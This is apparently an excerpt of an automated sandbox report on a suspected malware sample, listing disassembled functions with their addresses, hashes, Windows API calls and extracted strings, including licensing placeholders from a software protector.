Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8fc8f8115f4ab857639fc5528edca3aa99a6b586f895de2f786092b028fbdeca
Instruction ID: 8c20c11d0499fc427a48e36085dbc2436d506a6c8fbe2496ce1619ddc36fcb6c
Opcode Fuzzy Hash: 8fc8f8115f4ab857639fc5528edca3aa99a6b586f895de2f786092b028fbdeca
Instruction Fuzzy Hash: 7A815A357043415BC714EF18D890A7BB7E2EFD9760F09842DE9859B351EB389C81C756

Function 004141F0 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e4f38c039548b5d2084f45c247ead01622372fe4f2e3da2a5b78a1adec1d81d5
Instruction ID: f43a87bc9ba4e992c281d61823ca643c6ab2a5d25eb2ed71804a114951039551
Opcode Fuzzy Hash: e4f38c039548b5d2084f45c247ead01622372fe4f2e3da2a5b78a1adec1d81d5
Instruction Fuzzy Hash: 69418835304304AFD7248A599CC1BBBB7A6AFD8704F18403EFA919B7A0D674ACC0C789

Function 004113D5 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de7bfa81fc2c7b39f275e2e978e406098e3f1f566dc3ddb160cc71bb916c99f3
Instruction ID: 295d731bd9ff6ea05508646eb293c57895c9f85dd0163f6563646a9205d1b05a
Opcode Fuzzy Hash: de7bfa81fc2c7b39f275e2e978e406098e3f1f566dc3ddb160cc71bb916c99f3
Instruction Fuzzy Hash: F221D8746083108FC7149F18D4D05B773E1EB9AB24F15562ED6A2573B2C3386C86DB5E

Function 0041137E Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae31f55a7962e1c298f933c782f4f61742e9989f492be88000ac0717b1a6f51e
Instruction ID: 3ac6104d6f38bc22543de4ba861e7d5244f72881587ce163a889a808722ec6ba
Opcode Fuzzy Hash: ae31f55a7962e1c298f933c782f4f61742e9989f492be88000ac0717b1a6f51e
Instruction Fuzzy Hash: 2A01D6347182009BD758DF15E8D19B77362E75A718F24593ED697C72B1C334A882CB0E

Function 00481CC0 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dbabf60b5e3105b81204478276134a213c02ca571a08b05bf5f67d7f9755667
Instruction ID: bdcbb94ac87ebe9b8ab60a707697897a85e7fce7626f4151b4223677c47400ac
Opcode Fuzzy Hash: 5dbabf60b5e3105b81204478276134a213c02ca571a08b05bf5f67d7f9755667
Instruction Fuzzy Hash: 35113CB5D0060CFBCF00ABD4C8849DDBBB9EF08324F1089C7B558A2251DB35AA519B15

Function 004837F0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09b5d102a133842556b193053f5de286db46d1de97e982ea93665c7b990029db
Instruction ID: dcdfe7ec47f3d97d6e4c133976f70a216a8b681cc8390155efcd2e79cfb6dfc1
Opcode Fuzzy Hash: 09b5d102a133842556b193053f5de286db46d1de97e982ea93665c7b990029db
Instruction Fuzzy Hash: 8BD092B210020D6A8B01EEF9DD41DDB33DCAA08614B00892ABE05C7142EA78E9248BA4

Function 0059B60C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAddAtomA.KERNEL32(?), ref: 0059B698

Strings

Delphi, xrefs: 0059B634
WndProcPtr, xrefs: 0059B65E
ControlOfs, xrefs: 0059B649
Enigma, xrefs: 0059B683

Memory Dump Source

Source File: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: AtomGlobal
String ID: ControlOfs$Delphi$Enigma$WndProcPtr
API String ID: 2189174293-1257653096
Opcode ID: 66d60a39f08cb280334764043f1e0769c2d1d56b089c816dc0d388e1095feb1a
Instruction ID: adf7ee6fa8f6173db8ad50b3e79603863fa5267c36b2cb5377257e8eb4646e21
Opcode Fuzzy Hash: 66d60a39f08cb280334764043f1e0769c2d1d56b089c816dc0d388e1095feb1a
Instruction Fuzzy Hash: 6F118034704306ABFF00AA70DE96B6A7FAAFB84740F504434B9019B696EB75EE018764

Function 00410CC0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 79
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL(?,00000000,00000000), ref: 00410D59

Strings

RA, xrefs: 00410D3D

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: AllocateHeap
String ID: RA
API String ID: 1279760036-604777607
Opcode ID: 45820d79cb64bab77ac7f256df386b2fadbbdf2663f9e5ceb6ca94e62b526784
Instruction ID: 948cfd6cae7e07d580ec63b0749486c8aab62fcc449612834c2947dce5abdf96
Opcode Fuzzy Hash: 45820d79cb64bab77ac7f256df386b2fadbbdf2663f9e5ceb6ca94e62b526784
Instruction Fuzzy Hash: 14016F71A15211CBD314AB75AC8496B7BA5EFC9341F18887DE88053251D674A84A83A6

Function 0040DC40 Relevance: 1.5, APIs: 1, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 0040DCCD

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7c4a15b7b86e548180df6de546f446b02fc4570be86657213719f33b3a025a4f
Instruction ID: 536bb28299870af2a23016004e62ff7e0387777df5061d806ec0de398c66b7f2
Opcode Fuzzy Hash: 7c4a15b7b86e548180df6de546f446b02fc4570be86657213719f33b3a025a4f
Instruction Fuzzy Hash: 9F0197BB65C3584FC7006F91EC986AABBA4EFD0304F04803DD68046782CAFB2909C742

Function 00401859 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004018A4

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: e741e449f31391bc415659fb14fa2807a26c18b1770a53486ba067da2ae2bf22
Instruction ID: 1b73c5e05ca27ebbd6ba43b6681d28e5fbdedd6be9db885d5dc1ca1c8ec2ec05
Opcode Fuzzy Hash: e741e449f31391bc415659fb14fa2807a26c18b1770a53486ba067da2ae2bf22
Instruction Fuzzy Hash: D4F07FB12087029FE311DF65C1A974BBBE5AB81304F10C91CE4E54B290C7B9AA498FC2

Function 00404A7F Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00404AC3

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 8c67e675ed628c90dde1bd43f9102b096be0ba90d4bf1fab9e46b67069973c29
Instruction ID: 9257babbd3e9f9014e661e105253ea95a5fa5d1713c25f05295b12d7782f3617
Opcode Fuzzy Hash: 8c67e675ed628c90dde1bd43f9102b096be0ba90d4bf1fab9e46b67069973c29
Instruction Fuzzy Hash: 8CF022B450D341DFE721DF29C5A875ABBE0BB84344F118A1CE4988B290D7B995498F82

Function 0040A952 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0040A965

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: b7d934071814ac36ed8ff0858d15d377eae17daeaa8cd9bedf8f8b4a6352fdc9
Instruction ID: 94e76ec2a5c860c0418a28e27159e5c95546ab7166d3cb78aebaed403deb6f75
Opcode Fuzzy Hash: b7d934071814ac36ed8ff0858d15d377eae17daeaa8cd9bedf8f8b4a6352fdc9
Instruction Fuzzy Hash: ACD09230380700ABE2318B14EC56F11B3A1BB49F01F208458F7866F9E0CAB1BA118B08

Function 0040DC18 Relevance: 1.5, APIs: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,00000000), ref: 0040DC24

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e83007589d86fb053a0c0ba7fede657250f5a42f8e6e743cc6323fec20cb4d19
Instruction ID: f3e2c99a327912b90f0d8fc69b3d81b87973e639f78c3bfa8676950c69205e2c
Opcode Fuzzy Hash: e83007589d86fb053a0c0ba7fede657250f5a42f8e6e743cc6323fec20cb4d19
Instruction Fuzzy Hash: C4B01234146111B8D03117121CC5FFF6D7DAF43F59F102014B604240C04754A001D07D

Function 0059B598 Relevance: 1.3, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 0059B5C3

Memory Dump Source

Source File: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2e96e988a07be9bfbd532e0f66a8d061fed3f62208b1d36cdf016c4663a19b0e
Instruction ID: ef38a2a2c8ddb86f509b4270cd5cc4916739f165d01054c67b3954680ccfe5ab
Opcode Fuzzy Hash: 2e96e988a07be9bfbd532e0f66a8d061fed3f62208b1d36cdf016c4663a19b0e
Instruction Fuzzy Hash: A3E0E2B6300208ABEF10CE8CEA84BAA37EEB799310F118411FA09D7244D334EC109B65

Non-executed Functions

Function 004086FE Relevance: 66.6, Strings: 53, Instructions: 390COMMON

Download Yara Rule

Strings

_, xrefs: 0040891E
Q, xrefs: 0040892C
?, xrefs: 004089A2
N, xrefs: 004088CA
F, xrefs: 004088F4
%, xrefs: 00408B7A
%, xrefs: 004089FA
!, xrefs: 00408B6A
U, xrefs: 004088D8
+, xrefs: 00408B82
/, xrefs: 004089E2
r, xrefs: 00408876
U, xrefs: 00408972
;, xrefs: 00408992
K, xrefs: 0040883E
', xrefs: 00408B72
v, xrefs: 0040884C
V, xrefs: 004089C6
V, xrefs: 00408964
#, xrefs: 004089F2
=, xrefs: 00408B5A
1, xrefs: 004089AA
3, xrefs: 004089B2
), xrefs: 004089CA
j, xrefs: 00408948
+, xrefs: 004089D2
-, xrefs: 004089DA
9, xrefs: 00408987
M, xrefs: 00408868
#, xrefs: 00408B62
@, xrefs: 004089EE
', xrefs: 00408A02
4, xrefs: 00408C3E
?, xrefs: 00408B52
h, xrefs: 004087DC
i, xrefs: 00408830
=, xrefs: 0040899A
k, xrefs: 004087EA
7, xrefs: 004089C2
`, xrefs: 004087F8
e, xrefs: 0040885A
9, xrefs: 00408B4A
;:54, xrefs: 00408C6B
Q, xrefs: 00408814
*, xrefs: 00408B7E
t, xrefs: 00408910
P, xrefs: 0040893A
!, xrefs: 004089EA
E, xrefs: 00408884
K, xrefs: 00408A2E
/, xrefs: 0040877A
@, xrefs: 004088E6
5, xrefs: 004089BA

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: InitializeThunk
String ID: !$!$#$#$%$%$'$'$)$*$+$+$-$/$/$1$3$4$5$7$9$9$;$;:54$=$=$?$?$@$@$E$F$K$K$M$N$P$Q$Q$U$U$V$V$_$`$e$h$i$j$k$r$t$v
API String ID: 2994545307-164515761
Opcode ID: 952f4c7940def68adf6832ff7cc085b813154d77825a609ccbbe25f0d89856a1
Instruction ID: 4a5820fb33dd6b5fb5953eec207464adbd4428269c0484a2dcc14478da2e6838
Opcode Fuzzy Hash: 952f4c7940def68adf6832ff7cc085b813154d77825a609ccbbe25f0d89856a1
Instruction Fuzzy Hash: A6223E219087E98DDB22C67C8C4879DBEA11B63324F1843D9D4E96B3D2C7750A86CB66

Function 004FC498 Relevance: 42.0, Strings: 33, Instructions: 740COMMON

Download Yara Rule

Strings

%CU_WINVER%, xrefs: 004FC7C8
%RegName%, xrefs: 004FC59F
%TrialExecMinsTotal%, xrefs: 004FCD7E
%TrialExecMinsLeft%, xrefs: 004FCDD3
%AppVers%, xrefs: 004FC540
%TrialStartDay%, xrefs: 004FCBE4
V, xrefs: 004FC595
%TrialStartYear%, xrefs: 004FCB00
%AppName%, xrefs: 004FC500
%TrialExpDay%, xrefs: 004FCAA0
%KeyExpMonth%, xrefs: 004FC66F
%CU_INSTSERV%, xrefs: 004FC793
V, xrefs: 004FC5BF
%CU_EXECPR%, xrefs: 004FC75E
%HardwareID%, xrefs: 004FC6FF
%TrialDaysTotal%, xrefs: 004FC8F8
%TrialExpMonth%, xrefs: 004FCA2E
%.2d, xrefs: 004FC655, 004FC6B1, 004FCA0B, 004FCA7D, 004FCB4F, 004FCBC1, 004FCC93, 004FCD05
%CU_EXTFILES%, xrefs: 004FC734
%CU_VIRTTOOLS%, xrefs: 004FC803
,, xrefs: 004FC6EB
%TrialStartMonth%, xrefs: 004FCB72
%TrialExecsTotal%, xrefs: 004FC853
%TrialExecsLeft%, xrefs: 004FC8A5
%DaysToKeyExp%, xrefs: 004FC575
%TrialDaysLeft%, xrefs: 004FC94A
%TrialEndMonth%, xrefs: 004FCCB6
%RegKey%, xrefs: 004FC5C9
%KeyExpYear%, xrefs: 004FC613
%TrialExpYear%, xrefs: 004FC9BC
%KeyExpDay%, xrefs: 004FC6CB
%TrialEndDay%, xrefs: 004FCD28
%TrialEndYear%, xrefs: 004FCC44

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: %.2d$%AppName%$%AppVers%$%CU_EXECPR%$%CU_EXTFILES%$%CU_INSTSERV%$%CU_VIRTTOOLS%$%CU_WINVER%$%DaysToKeyExp%$%HardwareID%$%KeyExpDay%$%KeyExpMonth%$%KeyExpYear%$%RegKey%$%RegName%$%TrialDaysLeft%$%TrialDaysTotal%$%TrialEndDay%$%TrialEndMonth%$%TrialEndYear%$%TrialExecMinsLeft%$%TrialExecMinsTotal%$%TrialExecsLeft%$%TrialExecsTotal%$%TrialExpDay%$%TrialExpMonth%$%TrialExpYear%$%TrialStartDay%$%TrialStartMonth%$%TrialStartYear%$,$V$V
API String ID: 0-2729042596
Opcode ID: 8e95b36fa26df1fa1329c15dea334a3fcceaa772010f3e6f0169cd401fc59206
Instruction ID: 3196c1870b3adb36f4a0d24c78486024537e6c91b1ad67ce7c5db87bbffb0704
Opcode Fuzzy Hash: 8e95b36fa26df1fa1329c15dea334a3fcceaa772010f3e6f0169cd401fc59206
Instruction Fuzzy Hash: 93624C34A001189FDB10EF95CD81FEDB3B9AF48304F1090AAA54897356DA78AE4ACF65

Function 003EF510 Relevance: 24.0, Strings: 18, Instructions: 1543COMMON

Download Yara Rule

Strings

H, xrefs: 003EFA0F
\]^_, xrefs: 003EF9EE
Xqrs, xrefs: 003EF975
45, xrefs: 003EFC18
eyv, xrefs: 003F096D
=n=c, xrefs: 003EF7DD
, xrefs: 003F003E
$, xrefs: 003EF622
sDK}, xrefs: 003EF81F
PQRS, xrefs: 003EF9CD
vv@, xrefs: 003EFA77, 003EFA88
5670, xrefs: 003EF7F3
;:54, xrefs: 003EFFAB
!by*, xrefs: 003EF809
1X74, xrefs: 003EF7E8
`abc, xrefs: 003EF9A1
)*+$, xrefs: 003EF814
123X, xrefs: 003EF7FE

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $!by*$$$)*+$$123X$1X74$45$5670$;:54$=n=c$H$PQRS$Xqrs$\]^_$`abc$eyv$sDK}$vv@
API String ID: 0-744883782
Opcode ID: 1f262b3158a629a180b963a6a0a25193aa0c74231bf243ace2a61b73f9e720b5
Instruction ID: 0dbd55bbfeadd3ff1ed0177777204d6ca3cbe5dc7eb287c0ff360925fc9bf522
Opcode Fuzzy Hash: 1f262b3158a629a180b963a6a0a25193aa0c74231bf243ace2a61b73f9e720b5
Instruction Fuzzy Hash: CEB2A0715083858FD736CF29C8907ABBBE2AFD6304F18896DE5C98B392D7748905CB52

Function 003D1000 Relevance: 19.5, Strings: 14, Instructions: 1989COMMON

Download Yara Rule

Strings

, xrefs: 003D37B0
gfff, xrefs: 003D1D03
0123456789ABCDEFXP, xrefs: 003D13EC, 003D145F
gfff, xrefs: 003D1DBF
gfff, xrefs: 003D1D75
, xrefs: 003D3794
gfff, xrefs: 003D1D18
, xrefs: 003D37A2
, xrefs: 003D3826
0123456789abcdefxp, xrefs: 003D13FA, 003D146C
, xrefs: 003D378D
, xrefs: 003D37A9
, xrefs: 003D379B
-, xrefs: 003D1CCD

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $ $ $ $ $ $ $-$0123456789ABCDEFXP$0123456789abcdefxp$gfff$gfff$gfff$gfff
API String ID: 0-3131871939
Opcode ID: e9a906e8cc4b1ed1d82c96db33f3ba53699cfa458b44b51867aa2876f3e37dca
Instruction ID: f9b5a55e00ab53231c3a5773147747148a2515384bd35c0df2b39e5e152e0cdd
Opcode Fuzzy Hash: e9a906e8cc4b1ed1d82c96db33f3ba53699cfa458b44b51867aa2876f3e37dca
Instruction Fuzzy Hash: 8AE2F5726083418FC71ACF28D49036ABBE2BF95314F198A6FE4958B391D774DD49CB82

Function 00409BA0 Relevance: 17.8, Strings: 14, Instructions: 304COMMON

